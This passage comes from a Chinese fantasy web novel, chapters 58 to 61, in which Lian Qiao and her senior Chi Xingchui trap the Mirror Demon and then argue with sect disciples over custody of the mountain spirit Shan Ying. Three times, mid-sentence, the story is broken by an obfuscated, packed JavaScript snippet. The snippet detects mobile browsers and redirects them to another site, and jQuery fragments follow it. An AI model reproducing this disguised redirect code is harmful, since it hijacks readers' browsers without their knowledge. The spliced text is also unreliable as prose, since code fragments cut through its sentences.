啊,对不起,虽然知道他是小山精,但是顶着这张脸,她实在是有点难以接受。 被他轻吹一口气,连乔感觉有一阵凉风从脸上拂过,原来被药压制住的疼痛也流走了许多。 “抠鼻大汉”靠得很近,连乔绝望闭上了眼,半晌觉得他这样可能更容易被误会,所以又睁开眼。 这次睁眼又变成了“迟星垂”。 迟星垂修长漂亮的手指在她脸上来回摩挲,连乔能感受到他手上冰凉的触感。 他身上也有很淡的香味,和迟星垂很像,像山野间的花香,被雾气包裹,清冽又舒适。 连乔的心脏漏跳了一拍。 “迟星垂”也捧着她的脸,像看天上的月亮一样看着她,“你别急,我可以治好你的伤,治好了就不会疼了。” “会很快的,如果是以前,会更快……” 山影像是下定了某种决心,他俯下身要去亲连乔的脸。 连乔伸出手,用掌心挡住他。 看到“迟星垂”这张脸,连乔有点激动,但更多是惊悚,“别急嘛,心急吃不了热豆腐……” “我忍不住了……我现在吃不下了……呕……你以后也会感觉……呕……” 连乔越听越觉得奇怪,山影好像说的好像不是虎狼之词,他好像确实是身体不适,真的忍不住难受…… 下一刻,上面的“迟星垂”的脸猛地一变,变回他自己的少年脸。 但却不是温润的少年模样,他瞳孔全黑,眼皮低垂,面无表情,但是全身都散出了危险气息。 少年伸手钳住连乔,不再跟她周旋,掐住她的脖子,直接将她甩到床上。 他瞳孔中的黑气也开始扩散,整张脸都充斥着死气,这股死气顺着他的手往连乔的身上蔓延。 “不行,不能这样……” 脑海中回荡着一个声音,提醒他不要将自己不愿意忍受的痛苦转嫁给别人。 又有一个声音来回萦绕在耳边,“可是……她也不是什么好人,她就像一只啃食花蕊的蚜虫,她是个烂透了的人……” 山影的手攥紧了,一开始的那个声音和他说,“你快撑不住了,你不找新娘子,你就会死,你所做的一切也将前功尽弃……” “但那也不是你找一个无辜人代你受过的理由……” 抓住脖颈的手松开,连乔就势大口大口喘气,但是在下一刻,又猛地收紧。 “你、你……” 山影的力气极大,连乔居然没有任何的反击能力。 “要怪就怪你自己作恶多……” “迟、迟……”连乔被勒着脖子提起,两条长腿悬空,往床脚蹬了两下。 “嘭!” 门窗被什么东西打破,窗外的白影一闪而过。 被这么一刺激,山影瞳孔中的黑色也猛地收起,他丢下连乔,继而冲出窗外,去追那个白影。 连乔往后跌倒,被迟星垂接住,“还好吗?” 差一点死了,怎么可能会好? 连乔捂住脖子,因为窒息,白皙的脖子梗得老长,上面一排红印。 “去追!” 迟星垂扶着她,“你这样子还能追吗?” “当然能。”连乔不肯吃一点亏,“我现在要砍了他!” 连乔祭出“丛林”,也跳出窗,跟在山影后面。 方才山影那一瞬的失神很怪,身上那股煞气更怪。 月黑风高,桐花岭寂静无声,只有头顶上闪着星子,月光稀稀疏疏透过树林缝隙,前面的人影也模糊不清。 山影追着前面的白色身影,迟星垂和连乔远远跟在后面。 千绕万绕,又绕到初来的山神庙。 空气中的香味混着腥味一闪而过,刚下过一场雨,像是雨水将这怪异的味道全部盖住。 山影站在山神庙门口,扶着树,捂着嘴强忍,但是最终忍不住又呕吐不止。 事实上,他什么也没有吐出来,只是干呕。 他身边还有一个人,白衣白袍,动作迅速,在他呕吐不止的时候,取出一颗丹药,放在他手心。 山影毫不犹豫地将药丸吞下,很快,他脸上的黑气散去,神志像是清楚了,但脸色仍然惨白。 在他身边,站着那个喂药的白衣人,身姿清瘦且笔直。 连乔倒吸一口凉气,被迟星垂捂住嘴。 迟星垂拉着她藏在一块巨石后,朝她比了个“嘘”的手势。 陈灵玉? 怎么会是陈灵玉! 之前在山神庙里面也看到这个白影,当时周围太黑,她跑的太快,根本看不清是谁,原来是她。 迟星垂朝连乔摇了摇头,示意她不要出声,连乔点头,他将连乔放开。 山影缓了好一会儿,才转过头来,有些不好意思地望着陈灵玉。 陈灵玉脸色不虞,但是语气温和,“现在还好吗?” 山影摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493391|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“我不太好。” “那些人是你朋友吗?”他缓了一阵,顺着山神庙前的台阶坐下,望着头顶的星星。 今日天气晴朗,桐花岭的星空很漂亮,银河划破天际,从这一头连着另一头。 他让出一块,陈灵玉也跟着坐下。 她的衣角拖在地上,沾了许多污泥。 陈灵玉师父是严青山,严青山是乾元剑宗出了名的严肃要求高,想当他的徒弟,除了态度上要认真,衣食住行上也要一丝不苟,不可有一丝的懈怠。 所以连乔见陈灵玉,她从来都是笔直的,像一棵青松,挺拔而精神。 陈灵玉坐在台阶上,衣角铺散开,“也不全是朋友,有几个只是见过几面。” “也是你的师弟师妹吗?” 陈灵玉的手撑着脸,也望着远处的星河,“嗯。” “对不起啊,我只是……只是看她,我不是想要害她,他们越来越多,我也吃得越来越多……我撑不住了。” 陈灵玉没有说话,山影感觉到了她的生气,“对不起,你那两位师弟也是……” “那件事本来就不怪你。”陈灵玉叹了一口气,“不说这个了,先回去吧。” “回去,你们还想回去?” 听到这个声音,陈灵玉立刻挡在山影前面,但是瞬间被击飞出去。 “灵玉姑娘!” “别管我,马上走。”陈灵玉“哇”地吐了一口血,从地上爬起来,“你先躲起来,我挡住他。” 陈灵玉布下结界,将镜魔拦住,“你躲起来,不要被他找到,也不要被乾元剑宗的人发现。” “别急,你们一个都跑不了。”山庙异动,狂风暴起,拼命撞击陈灵玉。 陈灵玉往后踉跄几步,又拼命站稳。 “灵玉姐……” “马上走。”陈灵玉咬着牙,牙缝里渗出血,“我不会有事的,这么大动静,我的师弟妹他们很快就会发现,你现在这个样子,别被发现了……噗……” 镜魔被磕破几块,修为大不如前,正需要吞食几个人来恢复。 他又撞了一下结界,半圆形的透明光圈像冰裂纹一样碎开,瞬间变成蛛网状。 镜魔全力一击,“嘭”一声将陈灵玉击穿,陈灵玉滚了两圈,倒在地上神志不清。 镜魔一把薅起陈灵玉长发,捏住她的脸。 周围的腥气更重了,连乔也忍不住想呕吐。 陈灵玉的灵气开始反灌,没等迟星垂出手,山影冲过去,一把抓住镜魔的胳膊。 镜魔反抓过来,扣住山影的肩膀,“终于抓到你了,山神大人。” “我损失了那么多人,投入那么大的精力,就盼着有一天能看到你。”镜魔反过来控制住山影,“这次终于抓到你了,我实在是高兴。” 山影反抓住镜魔,但每次看到他就开始呕吐。 镜魔拍了拍他的脸,“知道你是疯狗乱咬人,喂了你那么多脏东西,到了我这里,吃不下了吧?” 他一手抓着山影,另一手抓陈灵玉,贪婪地吸食着,身上的伤肉眼可见地恢复。 忽然间白光一闪,疾风骤雨也在此刻停止,一个蒙面窈窕身影拦在面前,“终于抓到你了,镜魔老鬼。” 59.第 59 章 呼啸的风声停止,这周围安静得恐怖,山神庙幽森的光透过来,照得对面人脸色煞白恐怖。 连乔提剑指着对方,“又见面了。” 反吸灵力的人被打断,镜魔顿时暴躁起来,脸上蔓延着刺青,瞳孔和嘴唇都是黑的。他转了转脖子,“咔擦咔擦”的骨节声。 被浓烈的血腥味熏的涕泗横流,连乔又“哕”了一声。 陈灵玉缓过神来,“连乔姑娘,你们不是他的对手,何况你只是一个人,快、离开……” “我知道不是他的对手,但是我现在没办法跑。”连乔强压着抖动的手,“这里被他封了结界,我跑也跑不了。” “宁愿站着死,不愿跪着……啊!” 连乔也被举在空中,她悬空挣扎两下,好像一瞬间又怂了,“要不你最后吃我,我修为和其他人比太低了,吸了我不够你塞牙缝的。” “嗯?”镜魔凑近去看连乔,“好像是。” 镜魔吸了口气,“但是你细皮嫩肉,看上去很好吃,打打牙祭最好,我很久没有生吃活人了。” “而且你很有趣,味道肯定很好。”镜魔舔了舔牙齿,“就先吃你吧。” “我不是很嫩……”连乔吸了一口凉气,镜魔不给她浪费时间的机会,低下头就是一口。 “咔擦……” 有骨骼和玉器碎裂的声音。 “丛林”横在镜魔口中,顶住他的嘴,他的牙齿和剑身都有破碎,玉石俱焚。 “抱歉啊,我这剑有点硬,咯你牙了,真不好意思啊。” 镜魔损了一嘴的牙,还听到她欠兮兮的道歉,啐了口,但嘴里没有血,是一团又一团的黑雾。 他的额头又出现一张嘴,从两眉之间裂开,散着腥臭的风。 丛林剑被钳制住,不能再帮她抵挡进攻。便在镜魔额间口倒吸之际,一抹白光竖劈而下,只听“嘭”的一声,镜魔“哗”一声碎成几片。 地上散着断肢残臂,还在不停乱爬。 镜魔被迟星垂连着偷袭三次,碎成十多片,连乔跳着让开四处游走的手脚,“兄弟,魔本万象,你万得这么碎啊?” 镜魔彻底怒了,尖声嚎叫,周围狂风又骤气,尖细声几近穿透耳膜。 地上的手脚器官不停扭动,又归结原位,重新恢复成人的模样。只是左右腿装反了,两只脚都朝外垮。 他径直冲向落单的陈灵玉,陈灵玉被倒灌魔气,很快瞳孔全黑,脸色也出现大片刺青,她不受控制,反攻其他人。 镜魔又歪了歪脖子,望向连乔。 连乔捏住丛林,镜魔扑过来后,她并没有让开,腥风围着她绕几圈,连乔仍旧没有动静。 他奇怪地“嗯”了一声。 连乔做了个“捂鼻”的姿势,“抱歉,提前吃了防魔气的药,这样倒灌是伤不了我的。” 她大喊一声,“迟星垂!” 一大片剑光削过来,流星一样前赴后继,但这并没有拦住镜魔,镜魔垂着眼,脸色越发诡异。 “走!” “现在就走?” 迟星垂拉住连乔,“打不过。” 连乔嘴欠,“没事的,他的腿走路都劈叉,跑不过我们的。” 镜魔一掠而过,飞得快如流星。 迟星垂一把带住连乔,带她飞上树头,“不用跑,他会飞。” 月光在身后流转,迟星垂用障目术让连乔感受不到高空,连乔转过头,看着镜魔扭曲四肢跟过来,像她上辈子电影里面看到的丧尸。 丧尸跑起来很快,快要抓到她的袖子,“迟星垂,你快一点!” 逃命时连乔仍旧没有忘记嘴欠,“他抓不到我们的,很快同月和杨无溟会赶过来,镜魔受了这么重的伤,不会打得过我们的。” “他们不会来的。”镜魔对连乔咧了一个笑,“就算他们来了,在这里也看不见你们。” 已经走到了结界边缘,迟星垂和连乔在山里狂奔,但无论怎么走,都会绕回原地。 迟星垂:“走,分头跑。” 连乔:“你疯了?我跑不快打不过,还惹到他,分头我第一个死!” 但迟星垂没有回头,连乔欲哭无泪,也转身向另一个方向跑。 后面已经没有路了,看着镜魔一点点逼近,连乔指着他,“你别过来,你过来我就自杀,我自杀你什么也吸不到!” “咻咻”从林间窜出数十道黑线,将连乔捆绑住,吊在半空。镜魔摇摇头,“你实在是,太吵了……” 他走近了,“我先吃了你吧,你话最多了,让人非常生气。” 镜魔一开始想吃的还是山神,其实他对连乔没什么兴趣,但是她这个人说话太损了,惹人恼火,所以他想先解决她得点清静。 反正都在他的结界里面,谁也跑不了。 镜魔抓住连乔,反手一拧,连乔被黑绳松开,摔到地上。 “QNMD!”连乔骂了句脏话,“你这只知道抢别人东西的狗东西,你打我,再给你吸一百个人,你也就这德行,在魔界也排不上号!” 原书中后期出现的大魔,不包括镜魔,但迟星垂却说他非常之厉害和诡异。 果然,镜魔转了转脖子,七窍生黑烟,“你再说一遍?” “你你你,我……”连乔一紧张,大脑一片空白,“我忘了。” “真是找死!” 原本绕在树上的黑绳活了一样,像蛇一般游动,突然间冲向连乔。 “砰!” 地上鲜红一片,连乔倒在地上,许久也没有动。 风声、砂石碎裂省很久才平息,迟星垂从树上跳下来,将连乔扶起。连乔才从眩晕中缓过神来,“成功了吗?” “嗯。” 地上有一个深坑,迟星垂从里面取出来一个透明四方琉璃盒。 琉璃盒是高阶法器,之前还装过敖周,现在用来放镜魔也不在话下。 透过琉璃的透明表层,看到一个巴掌大的黑气,在盒中来回翻滚。 这琉璃盒异常坚固,不管镜魔在里面如何横冲直撞,也不能撼动它分毫。 “现在带它回乾元剑宗吗?” “嗯。”迟星垂道,“这结界是镜魔织造的,现在他被控制住,这结界也会在半个时辰内消散。” 连乔按了按太阳穴,又活动活动胳膊,虽然没受伤,但是被镜魔的魔气冲击过几次,受到震荡,意识还是有些混沌。 女子目光清澈,放松下来时身上的尖刺都收敛,像一只温顺的兔子。 迟星垂道,“下次当活靶子这种事,还是我来吧。” 连乔拄着剑走在前面,沿着原来的方向往山神庙走,“师兄,就算换你去激怒他,我也很难在短时间内不动声色地改掉阵法,并且将陷阱埋好。” “而且我不认识路,就算埋好了也会忘记把他往哪里引。” 从一开始就是连乔先出场拖住镜魔,迟星垂改了结界的边界,设下埋伏。 迟星垂想到连乔之前“贪生怕死”的模样,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508655|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不害怕吗……” “你说呢师兄。”连乔指着自己的腿,已经软下来了,全靠着丛林支撑。 “不过你出现得很及时,我也没受伤。”这一招虽然险,但是只要配合无间,对付敌人有奇效。 连乔站不稳了,她索性停下脚步,靠在树上,“对了师兄,陈灵玉是桐花岭的人吗?” “不是,但是她是墨江人,离桐花岭很近。”迟星垂道,“当年墨江一带出现严重的山裂,底下的许多村庄和城镇都遭了殃,陈灵玉的亲人也都在那场灾难中失踪。那时候严老先生路过墨江,机缘巧合之下将陈灵玉带回剑宗。” “当年的山裂是什么原因呢?” “墨江一带一直以来风调雨顺,但那段时间风雨失调,山洪暴发,出现许多地质灾害。”迟星垂道,“山裂也是因为多雨。” 结界慢慢散去,黑夜褪色,天开始亮了,东方翻起浅浅的鱼肚白。 连乔望着远处山神庙的轮廓,低低地叹了一口气。 “师兄,你先走吧,带着镜魔去找其他师兄弟。”她靠着树,看上去虚弱无力。 “你……” 连乔一幅生无可恋的表情,“我走不动了,我头痛,全身都痛,我过去可能要花很长时间。” 迟星垂腿长,走路很快,为了她已经放慢了步子。 但是连乔不想动,折腾了一天,回去后还要看到女主团那假惺惺的嘴脸,她宁愿一个人坐这休息。 “如果你实在不适,”迟星垂迟疑了一下,“我背你回去?” 连乔震惊地望着迟星垂,当然也看到他泛红的耳朵。 “我不可能将你一个人丢在这荒郊野岭。”迟星垂道,“如果你不愿意,我跟你一起在这休息,一直到你可以走为止。” 只是说背她回去,迟星垂的脸就红了,这得多纯情? 这后期病态疯狂的死魔头,原来内心这么单纯。 连乔又想到原书中,原主为了让迟星垂就范,让自己手下对迟星垂肆意侮辱。 怪不得他要黑化,这么单纯的人,这得给他心底留下多大的阴影? 连乔托着下巴,故作忸怩,“不好吧师兄,男女授受不亲。” 迟星垂望着她,静默许久,“你说得对师妹,是我考虑得不周到。” 连乔:“要不你抱着我走吧?” “……”迟星垂实在被气笑了。 他俯身正对上连乔的眼睛,“师妹,看在你伤得这么重的份上,我答应你,你想怎么抱?” 连乔望着那张俊脸在眼前放大,心脏也漏停一拍,鲜血“哗”一声冲上大脑。 她舌头也有点麻,但意识很清醒,“打横抱起可以吗?” 迟星垂点头,“可以的师妹,我力气很大,你这样的可以抱出桐花岭。” 连乔摆手,看着迟星垂伸出的手一愣,“不用了不用了,也不用那么远……你这是干什么?” 迟星垂看着她安静地笑,“师妹,不拉你起来,我怎么横抱你呢?来吧。” 来真的啊? 不是刚才夸他纯情么,这么快就反守为攻了? 连乔盯着他,忽然一跃而起,一把抓住他胳膊,反钳住他,“你怎么突然对我这么好,你是不是镜魔变的?” 迟星垂:“……” 连乔折腾一番,身上的伤更严重了,脸上的伤口也裂开,渗出两颗血珠。 迟星垂背着她赶路,她趴在迟星垂背上,闻到他身上非常淡的木香味。 60.第 60 章 “迟星垂……”因为疲惫,连乔的声音蚊蝇一样小。 “嗯。” “已经四天了,默非还没到……”连乔打了个哈欠,“他是真只管我死活,不管我貌美啊?” 默非只保证连乔活着,在其他事上独善其身。 “陈灵玉身上也有魔气,山精身上也有,山精说那两个师弟是他杀的,不知道云招摇那边可找到了人,有没有发现什么。” “方才那边传来讯息,在乱葬岗找到了两个师弟的尸首,也找到了师妹,师妹没事,只是现在昏迷不醒。” “昏迷?” “因为太虚弱,不过没有生命危险。” 连乔双手托脸,想起一件事,“她昏迷和山影有关系?” 山影一直想抓她为新娘,他身上有抑制不住的魔气,且一直在呕吐,好像是想将溢出来的魔气都渡到她身上。 “很奇怪,元许师妹身上没有任何魔气,像是被清理过。”迟星垂道,“和你的情况还不太一样。” “那可能是因为我确实与众不同,所以……山影看到我就要把我留下……” 迟星垂习惯了连乔这样自恋,她如果不这样说,反倒让他觉得奇怪。 “不过我不愿意留下……我想把他带到子午谷。” 连乔换了一个姿势,让迟星垂背自己舒服些,“他看上去温文尔雅,但是又有点暴力倾向,我肯定是制服不了他的。” 迟星垂:“放弃你那天马行空的想法。” “不过,迟大公子,”连乔道,“我还欠你一个道歉。” 幸亏这一世她穿来的时候非常合时宜,还没有有对迟星垂做些什么。 迟星垂愣了一下,“你并不需要道歉。” 毕竟,也不是你的意愿。 没有回音。 连乔睡着了。 这几天,一直挨最毒的打,说最欠的话,明明是十分娇气的人,却伤成这样也没有哼出一声。 这只是在外面,若是在子午谷……或者是借酒楼,屋顶都会被掀了吧。 连乔是个很清醒,也很真实的人,不惹事,但是遇到事也不怕事。 姑娘睡得很沉,虽然在迟星垂背上,但是刻意和他拉开了距离,两只手撑在他身上,睡熟了手不自觉松开,往后一仰。 迟星垂伸手,扶住摇摇欲坠的人,让她侧脸靠在自己背上。 右脸的伤好像又重了。 迟星垂本以为以连乔的脾气,在桐花岭待不过三天,没想到她却很好融入进来。 靠在迟星垂背上的连乔睡得脸有点麻,她一转头换了另一边脸,“嘶”了一声,疼得一激灵。 太阳升得很快,一跃而出地平线,东方的云层破开,光泽细细洒下,落在二人肩头。 连乔醒了,她眯着眼,拍了拍迟星垂,示意他放自己下来。 迟星垂道:“还有一截路。” “被你师弟师妹看到了,又要造你的谣了。” 连乔从他背上滑下来,用手背擦了一下脸,“其实我不在乎那些莫须有的控诉,但我觉得,你应该介意。” 明明自己也是谣言的受害者,却说得那么自然那么轻易。 她看上去对那些指责毫不在乎,也从来只按照自己的意愿做事。她可以坚韧,傲慢,不在乎,但那不是别人可以借此伤害她的理由。 迟星垂望着连乔的背影,她一直往前走,清晨的阳光将她包裹住,将她橘金色的衣裙笼得熠熠生辉。 就像她这个人,一直往前走,无论背后多至黑至暗,也不曾回头。 连乔拄着剑往前走,半晌突然停下脚步,转过头。 正对上迟星垂的目光。 连乔脚麻了,立刻跛着脚,边走边跳到迟星垂对面,“迟星垂,你是不是偷看我。” 迟星垂:“没有。” “你就是!”连乔又是恍然大悟的表情,“你刚刚还不想让我下来,你想背着我,你还偷看我,你是何居心?!” “你一直很讨厌我,是不是想趁着我毫无还手之力的时候,对我下手,把我丢在在这荒郊野外?” “师妹,我只是关心你走太远对身体有损伤。”迟星垂摊手,“你知道的,我向来行得正坐得直,我真要丢了你,不用偷偷摸摸。” “反正你不认路,而且现在体力透支。”迟星垂道,“啊,我把你随便一放,你现在这样子,随便来只野兽也能把你叼走。” 连乔连跪:“师兄你今天格外英俊帅气,我们快回去给他们看看。” 迟星垂:“呵师妹你变脸变得也太快了。” “没有呀师兄,我一直都可温和可乖巧了。” 迟星垂揉了揉眉头。 朝霞铺在空中,像撒一层鎏金金边,背后的天空还是灰黑色,两个人并肩走,从黑暗走向黎明。 乱葬岗位于桐花岭东郊一带,桐花岭一片人迹罕至,是曾经古越战场,古越灭国,导致出现大批坟场。 许久无人造访,空旷的战场生出了花林树木,郁郁葱葱一片。密林中,云招摇几人找到了杨昇和毕兰律的尸体,确定二人遇害。 “来风师兄,这里没有灵玉师姐和元许师妹,不知道两位师姐妹有怎么样了。” 云招摇看上去有些担心,迟来风一看万机,“不用费心了,他们已经找到陈灵玉了。” 陈灵玉和元许都在山神庙,陈灵玉被镜魔倒灌魔气中了魔毒,被盛危须喂了几颗药,已经稳住心脉。 童元宝一脸震惊,“发生什么了,大家一个个蓬头垢面,怎么看上去比我还要疲惫。” 他们在山神庙遇到镜魔,立刻追上去,没想到中了镜魔的埋伏,被困在一处不见天日的密闭空间里。 空间里魔气煞气纵横,稍有不慎就会腐蚀全身,陷入万劫不复之地。 他,凌阿,成英轩还有盛危须,几个人轮番上阵,才能保证不被浊气沾染。 一直到方才,困住他们的阵法忽然不稳,剧烈抖动一下,才让他们有了破阵之机,这才离开密闭之地,又回到这里。 怪不得之前一直联系不上他们,原来是他们被困住了。 连乔问,“是镜魔的陷阱?” “应该是。”童元宝道,“那空间能吃人,一旦被魔气沾上,就会被拼命缠上,一直到魔气将骨血和精气啃食掉。” 他伸出手给连乔看,手背上有一条又深又长的伤口,那魔气只是擦了他一点边,就被吞噬成这样。 等他们破开阵法,一接触到新鲜空气,那些黑气“哗啦”而散,空间也跟着坍塌,一瞬间什么也不剩,就像是从来没存在过。 “我们已经联系上剑宗了,剑宗现在加急派人过来,只是……”童元宝斜了斜眼睛,“师兄,这……” 陈灵玉虽然被魔气倒灌,但是现在居然清醒了,元许受的伤很重,但是现在也没什么大问题,醒过来人懵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533587|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懵懂懂,意识还停留在几个月前,完全不知道发生了什么。 昨夜发生许多突发状况,云招摇吓得不轻,白祺和林锦绣状况频出,这可让迟来风找到了突破口。 在乱葬岗被众鬼追踪时,他终于拉到了心上人的小手。 她是女儿般的娇羞,迟来风最喜这温柔。 摇着扇子吹风,迟来风看陈灵玉披散着头发,心中“啧”了一声,曾经多水灵的姑娘啊,现在这面容枯槁的模样,就像是被抽干灵气的老鬼。 事实上也的确如此,她全部灵力被魔气腐蚀,本来必死无疑,但是她体内所有灵气与灵力抽完,虽然修为废了,但是保住了一条命。 盛危须喂药的时候也奇怪,换做他们,被那魔气腐蚀,恐怕早就成肉泥了,哪还能活到现在? 相比较那两位死得不清不楚的师弟,她这个结局还算好。 盛危须帮陈灵玉看完病,又确定元许无事,这才将各种药物收起来。 “人都到齐了是吧?”迟来风摇摇扇子,“既然大家都在,陈灵玉,你自己说说,你遇到镜魔这么大的事,为什么要藏着捏着,迟迟不肯将事实反馈给剑宗?” “还是说,你已经受魔气影响,所以知情不报,是在隐瞒什么?” 迟来风蹲下,见陈灵玉不说话,盯着她的眼睛,“桐花岭的山精和你是什么关系,他现在在哪?” 昨天晚上,连乔被那山精带走,差一点出现差池,这山精和陈灵玉认识,身上万紫千红各种灵气混杂,都不知道是个什么东西。 陈灵玉始终低头不说话。 云招摇手里拿着罗盘,罗盘原本归于虚无,没有指示,但是在迟来风训斥完陈灵玉后,那指针突然转了一圈,又指向魔气。 她的手不自然地蜷缩一下。 魔气? 难道它不是山精,而是魔族中人? 迟星垂也注意到罗盘异常,除此之外还闻到一股怪异的香味,是和连乔共感而来。 他想起上次吴影跟踪瞳镜中的妄念……也是这种,许多种异常灵气混在一起的。 二者之间有什么联系吗? “不管他究竟是什么,既然身上有魔气,那必然有问题。”迟来风道,“带回乾元剑宗。” 山影的脸更白了,如果说之前惨白得像白纸,现在是飘渺得如同白雪,连头发和睫毛也成了白色,有种诡异的美感。 原书中,迟星垂坠魔前也是这样,一夜白发红瞳,妖异得像开在雪地里的血莲花。 迟来风越逼越近,山影蜷缩在角落,“我不跟你们走,我哪里也不会去。” “走不走那就由不得你了,嘶……”迟来风抽搐一下,手上出现一道拇指长的伤口。 山影舔了舔牙齿,白发拖在背后,警惕地望着对方,“你别过来了,你再过来,我就和你同归于尽。” 伤口不深,但是有魔气残留,剧毒无比,很快连手指也变黑。 向来只对美女有好脸色的迟来风立刻祭出一盏六合灯,内部空心,可以装进一个人。他将灯盏投在半空,准备强行将人带走。 任何人一旦被压入灯盏,都会被当灯芯燃烧,灯芯不会灭,但是会一直受烈焰折磨,不出不停,不死不休。 灯盏没有落下,盏口被一把按住。 压灯盏的女子刚刚睡醒,神志不太清醒一样,“你抓什么?山精也是我美人计阴下的,要抓你也得问一下我吧?” 61.第 61 章 自己又挨打又牺牲色相,好不容易才把镜魔关起来,把山影控制住,迟来风就这么轻飘飘一句把它带去乾元剑宗? 修真界一直是乾元剑宗一家独大,这次事故剑宗也赔进去两个弟子,论理说要处理这山精,是要剑宗出面。 但连乔听陈灵玉和山影的对话,那俩弟子的死,和山影没关系。 而且陈灵玉吞吞吐吐的,很明显在隐瞒什么。 山影好像和魔气还有点关系。那就不行了,要带山影走,也得带去子午谷。 连乔横在山影前面,“迟二公子,事情都是我做的,这不在云岭,也不在乾元剑宗,你以为我会轻易把东西让给你,想什么好事呢?” 迟来风朝着连乔微微一笑,“连乔师妹,你我本是同门,怎么能说出如此两不相干这样的话来?” “我不是啊。”连乔下巴一仰,指向云招摇,“上次入门输给你心上人了,这不没进去么。” 突然被点名的云招摇微微一愣,又偷偷瞥了一眼迟来风。 连乔道:“我连外门弟子都算不上,怎么能叫同门呢,怎么能为乾元剑宗鞠躬尽瘁死而后已呢?” 迟来风眯眼,“这么说,你是想与乾元剑宗抢人么?” “额……”连乔笑了,“迟二公子,也不必拿这么大的名头压我,我一个小门小派的人,受不起这么大的罪名。” “不是和剑宗抢人,是和你们小队抢人。”连乔道,“抢回去怎么办怎么处理是我们队的事,现在是,我不能把人让给你。” “我们都是一起历练的,要分这么清楚?”迟来风的扇子也不摇了,也不知道什么时候拿了把剑,正在擦拭。 和迟星垂一样,迟来风的眉眼锋利,不看人的时候很严肃,警告意味满满。 连乔最看不惯死装的人,“你剑一晚上都在鞘里,你擦什么?” 原本在凹造型,觉得自己很帅气,还偶尔和心上人眉来眼去的迟来风擦剑的手僵住,他冷笑一声,“连乔姑娘,我这把剑很锋利,无所不破。” “意思就是,你准备和我动手?” “如果你拦我的话。”迟来风道,“我知道你有一定的手段,但是这里都是乾元剑宗的人,你即使不想把这山精带回剑宗,也很难这么做。” 他停止擦剑,转而用修长的手指去摸剑锋,用拇指轻轻弹一下,“叮”的一声。 连乔也冷笑一声,“别威胁我二公子,你以为我是是吓大的?我说了,山影我看上了,我看上的人,就从来没有拱手让给过别人的先例。” 迟来风看着她,挑了挑眉,似乎若有所思。 云招摇蹙起眉头,“连乔姑娘,你实在是过于嚣张了,我也实在不明白你为何非要带这山精回去。” 她像是忽然想起了山影和连乔之间发生的故事,有些犹豫,但还是说了,“我知道你和山影之间……难道是你与他之间真的有什么,所以才横插一手?” 连乔皱眉:“我和他之间有什么?” 云招摇好像有些为难,“我那时在乱葬岗,不知道发生了什么,只知道他看上你了,掳你当新娘……不过我相信你的为人,应该不会因此就屈服了。” 连乔“嗤”了一声,“你还真不能相信我的为人。” 云招摇脸红一阵白一阵,非常吃惊,“你……” 连乔点头,“没错,就是你想的那样,我看上他了,我见一个好看的就爱一个,你是不是想说这个?” 云招摇没想到连乔打直球,连忙摆手,“不是,我不是那个意思。” “不是那个意思是什么意思啊?”连乔托着腮做沉思状,“那你的意思是,我觉得他可怜,所以不忍心你们带他去乾元剑宗,所以才拦人,你是这个意思?” 云招摇没想到连乔反应这么快,但她的反应更快,“连乔姑娘,不管你是什么意思,也不管你是怎么想的,你要是好心的那最好了,最重要的是你能认清事实,问心无愧。” 云招摇是挺坚韧,但可不是什么心思单纯的小白花,方才那话乍一听好像只是好心,实际上话里有话,哪里听哪里别扭。 一开始就给自己造黄谣,直接揭破她造谣的意图,她指责自己不明事理滥发好心,所以才不明事理护着人。 这段位也太高了吧? 这不仅不是坚韧小白花,还是陈年老绿茶。 换作以前的连翘,必然忍不住暴脾气和她正面冲突,如此一来,反倒更坐实了云招摇的猜想。 你看,你反应这么大,是被戳中了心事? 反正你是妖女,怎么编排你都立得住人设,别人也都信。 连乔多精的人啊,你想这么挖坑,我偏要你自己往里面跳。 “我问心无愧啊。”连乔实话实说,“我行得正坐得正,我就是想救他想带他走,因为他长得好看。” 毕竟素日里也行事荒唐,乍一听连乔的发言,众人也没觉得哪里有问题。 云招摇:“啊,那你方才说,你不是因为你和他……”她故意略过一句话,更引人浮想联翩,“原来你还是因为他……” 连乔伸手做了个停的手势,她打乱对方的话,“我是说,我看他长得漂亮才要带他,你说的是我和他之间发生什么所以必须带他走,这俩之间有本质区别好么?” 不等云招摇说话,连乔就捂嘴跳起来,故作震惊,“不会吧不会吧,你不会又以为我和别人有什么龌龊事吧,我的天呐,我才第一次见他你就这么想我,云师姐你脑子里想的都是些什么?” “师兄,你看这位师姐,她思想好肮脏!”连乔望着迟星垂,“你知道的,为了保护我,你一直躲在我床下,知道什么都没发生。” 